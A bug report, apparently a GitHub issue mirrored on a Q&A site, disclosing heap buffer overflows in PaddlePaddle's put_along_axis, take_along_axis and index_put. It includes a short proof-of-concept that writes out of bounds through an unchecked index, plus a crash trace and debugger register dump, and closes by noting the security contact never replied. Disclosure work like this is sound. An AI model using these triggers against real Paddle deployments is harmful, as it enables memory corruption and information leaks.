bug描述 Describe the Bug
heap-buffer-overflow in function put_along_axis
Summary
The put_along_axis
function will trigger a heap-buffer-overflow write
under under specific circumstances.
environment
paddle:develop(Nightly build)
os:ubuntu22.04
python:Python 3.10.12 (main, Mar 22 2024, 16:50:05) [GCC 11.4.0] on linux
Vulnerability Description
There is no limit to the index
value passed to the put_along_axis
function, which can cause heap OOB write.
Poc
import paddle
x = paddle.to_tensor([0])
index = paddle.to_tensor([0xdeadbeef])
out = paddle.put_along_axis(
arr=x,
indices=index,
values=0xdeadbeef,
axis=0,
)
> /bin/python3 /home/hacker/Test/paddle_test/poc.py
--------------------------------------
C++ Traceback (most recent call last):
--------------------------------------
0 paddle::pybind::eager_api_put_along_axis(_object*, _object*, _object*)
1 put_along_axis_ad_func(paddle::Tensor const&, paddle::Tensor const&, paddle::Tensor const&, int, std::string)
2 paddle::experimental::put_along_axis(paddle::Tensor const&, paddle::Tensor const&, paddle::Tensor const&, int, std::string const&)
3 void phi::PutAlongAxisKernel<long, phi::CPUContext>(phi::CPUContext const&, phi::DenseTensor const&, phi::DenseTensor const&, phi::DenseTensor const&, int, std::string const&, phi::DenseTensor*)
4 void phi::funcs::cpu_scatter_assign_kernel<long, long>(phi::DenseTensor, int, phi::DenseTensor const&, phi::DenseTensor, phi::DeviceContext const&)
----------------------
Error Message Summary:
----------------------
FatalError: `Segmentation fault` is detected by the operating system.
[TimeInfo: *** Aborted at 1710165968 (unix time) try "date -d @1710165968" if you are using GNU date ***]
[SignalInfo: *** SIGSEGV (@0x6f95c6778) received by PID 13642 (TID 0x7f05e91a8740) from PID 18446744073598166904 ***]
[1] 13642 segmentation fault (core dumped) /bin/python3 /home/hacker/Test/paddle_test/poc.py
Debug
Obviously, rcx
is the value of the index
we passed in, and r14
is a heap address. We can achieve heap overflow and out-of-bounds write by controlling the index
.
Thread 1 "python3" received signal SIGSEGV, Segmentation fault.
0x00007ffff47f630f in void phi::funcs::cpu_scatter_assign_kernel<long, long>(phi::DenseTensor, int, phi::DenseTensor const&, phi::DenseTensor, phi::DeviceContext const&) () from /home/hacker/.local/lib/python3.8/site-packages/paddle/base/libpaddle.so
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
*RAX 0x1
*RBX 0x4169000 ◂— 0xdeadbeef
*RCX 0xdeadbeef
*RDX 0x1
*RDI 0x416a000 ◂— 0xdeadbeef
*RSI 0x0
*R8 0x416a000 ◂— 0xdeadbeef
*R9 0x0
*R10 0x0
*R11 0x0
*R12 0x1
*R13 0xdeadbeef
*R14 0x416b000 ◂— 0x0
*R15 0x4169000 ◂— 0xdeadbeef
*RBP 0x7fffffffc480 —▸ 0x7fffffffc760 —▸ 0x7fffffffd050 —▸ 0x7fffffffd540 —▸ 0x7fffffffd690 ◂— ...
*RSP 0x7fffffffc1a0 —▸ 0x7fffffffc330 —▸ 0x7ffff6541d40 (vtable for phi::DenseTensor+16) —▸ 0x7fffed7fe200 (phi::DenseTensor::~DenseTensor()) ◂— push rbp
*RIP 0x7ffff47f630f (void phi::funcs::cpu_scatter_assign_kernel<long, long>(phi::DenseTensor, int, phi::DenseTensor const&, phi::DenseTensor, phi::DeviceContext const&)+1663) ◂— mov qword ptr [r14 + rcx*8], r13
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
► 0x7ffff47f630f <void phi::funcs::cpu_scatter_assign_kernel<long, long>(...)+1663> mov qword ptr [r14 + rcx*8], r13
0x7ffff47f6313 <void phi::funcs::cpu_scatter_assign_kernel<long, long>(...)+1667> cmp rdx, rax
[......]
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
[......]
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x7ffff47f630f void phi::funcs::cpu_scatter_assign_kernel<long, long>(...)+1663
1 0x7ffff3806a3f void phi::PutAlongAxisKernel<long, phi::CPUContext>(...)+527
2 0x7fffed57cf54 paddle::experimental::put_along_axis(...)+5892
3 0x7fffeee48f5b put_along_axis_ad_func(...)+3387
4 0x7fffecafaf22 paddle::pybind::eager_api_put_along_axis(_object*, _object*, _object*)+994
5 0x7fffecd9506d
6 0x5d5499 PyCFunction_Call+89
7 0x5d6066 _PyObject_MakeTpCall+662
───────────────────────────────────────────────────────────────────────────────────────────[ THREADS (2 TOTAL) ]───────────────────────────────────────────────────────────────────────────────────────────
► 1 "python3" stopped: 0x7ffff47f630f <void phi::funcs::cpu_scatter_assign_kernel<long, long>(phi::DenseTensor, int, phi::DenseTensor const&, phi::DenseTensor, phi::DeviceContext const&)+1663>
2 "python3" stopped: 0x7ffff7e9c23f <clock_nanosleep+223>
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
其他补充信息 Additional Supplementary Information
No response
3条答案
按热度按时间vddsk6oq1#
heap-buffer-overflow read in function take_along_axis
Summary
The
take_along_axis
function will triggerheap-buffer-overflow
under under specific circumstances.environment
Vulnerability Description
There is no limit to the
index
value passed to thetake_along_axis
function, which can cause heap OOB read.Poc
This easily reveals the layout of memory data and various addresses.
2sbarzqh2#
heap-buffer-overflow write in function index_put
Summary
The
index_put
function will trigger aheap-buffer-overflow write
under under specific circumstances.environment
Vulnerability Description
There is no limit to the
indices
value passed to thepaddle.index_put
function, which can cause heap OOB write.Poc
The prompt "free(): invalid next size (fast)" indicates an error reported by the glibc malloc heap manager due to memory being modified.
n53p2ov03#
顺带一提,我试过将这三份报告提交给 paddle-security@baidu.com ,但没得到回复。因此我想问,内存错误目前是否认定为漏洞?还是说是bug?